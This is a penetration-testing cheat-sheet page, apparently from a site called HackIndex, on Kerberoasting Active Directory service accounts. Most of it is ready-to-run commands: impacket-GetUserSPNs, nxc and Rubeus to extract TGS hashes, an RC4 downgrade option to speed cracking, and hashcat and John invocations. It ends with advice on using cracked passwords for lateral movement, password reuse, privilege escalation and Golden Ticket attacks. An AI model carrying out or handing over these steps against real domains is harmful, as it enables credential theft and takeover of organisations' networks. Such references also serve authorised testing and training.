Skip to content
HackIndex logo

HackIndex

Kerberoasting – TGS Hash Extraction and Cracking

4 min read Mar 11, 2026

Any authenticated domain user can request a TGS ticket for any service registered with an SPN. The ticket is encrypted using the service account's password hash. Kerberoasting pulls those tickets out of the domain and cracks them offline — no elevated privileges required, and no unusual network activity beyond a standard Kerberos ticket request.

The target is service accounts with weak or human-set passwords. Computer accounts have 120-character random passwords and cannot be cracked. User accounts with SPNs are the ones worth roasting.

You need valid domain credentials to proceed. If you have none, check the AS-REP Roasting page at https://hackindex.io/services/kerberos/exploitation/asrep-roasting — accounts with pre-authentication disabled can be used to roast SPNs without credentials.

Roasting from Linux with Impacket

impacket-GetUserSPNs requests TGS tickets and outputs them directly in hashcat format:

┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerberoast.txt

With an NT hash instead of a password:

┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER -dc-ip $TARGET_IP -hashes :$NTHASH -request -outputfile kerberoast.txt

To target a specific account rather than pulling all roastable accounts:

┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request-user $TARGET_USER -outputfile kerberoast.txt 
ServicePrincipalName          Name         MemberOf  PasswordLastSet             LastLogon
----------------------------  -----------  --------  --------------------------  --------------------------
MSSQLSvc/sqlserver.corp.local  svc_mssql             2022-03-15 10:23:11.000000  2024-01-10 08:14:22.000000

$krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQLSvc/sqlserver.corp.local*$a1b2c3...

The $23 means RC4 encryption. $17 and $18 are AES128 and AES256. RC4 cracks significantly faster — if you see AES hashes, see the RC4 downgrade section below.

Roasting from Linux with nxc

nxc can enumerate and roast in a single command:

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --kerberoasting kerberoast.txt

Roasting from Windows with Rubeus

On a Windows foothold, Rubeus roasts all accounts and outputs in hashcat-ready format:

┌──(kali㉿kali)-[~]
└─$ Rubeus.exe kerberoast /outfile:kerberoast.txt /nowrap

Target a single account:

┌──(kali㉿kali)-[~]
└─$ Rubeus.exe kerberoast /user:$TARGET_USER /outfile:kerberoast.txt /nowrap

/nowrap prevents line-wrapping in the hash output which breaks hashcat parsing.

Forcing RC4 Downgrade for Faster Cracking

When a service account supports both RC4 and AES, the DC will issue an AES ticket by default. RC4 ($krb5tgs$23) cracks orders of magnitude faster than AES256 ($krb5tgs$18). Force RC4 by explicitly requesting it:

With Impacket (add -etype 23):

┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerberoast.txt -etype 23

With Rubeus:

┌──(kali㉿kali)-[~]
└─$ Rubeus.exe kerberoast /outfile:kerberoast.txt /nowrap /rc4opsec

Note: if the domain enforces AES-only tickets via group policy or the account only supports AES, downgrade attempts will fail or return AES tickets regardless.

Cracking with Hashcat

RC4 TGS hashes use mode 13100:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

AES128 TGS hashes use mode 19600, AES256 uses 19700:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 19600 kerberoast.txt /usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 19700 kerberoast.txt /usr/share/wordlists/rockyou.txt

Extend coverage with rules:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

With John:

┌──(kali㉿kali)-[~]
└─$ john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt

What to Do with a Cracked Hash

A cracked service account password is domain credentials. Depending on the account's privileges:

  • If the account has local admin on any hosts, use it directly with impacket-psexec, impacket-wmiexec, or evil-winrm

  • If the account has high AD privileges (Domain Admins, Account Operators, backup operators), escalate immediately

  • Feed the credential into BloodHound to map privilege paths from the account

  • Attempt password reuse across other services (SMB, RDP, WinRM)

If the service account is a Domain Admin or has DCSync rights, proceed to Golden Ticket creation at https://hackindex.io/platforms/active-directory/exploitation/golden-ticket-silver-ticket.

References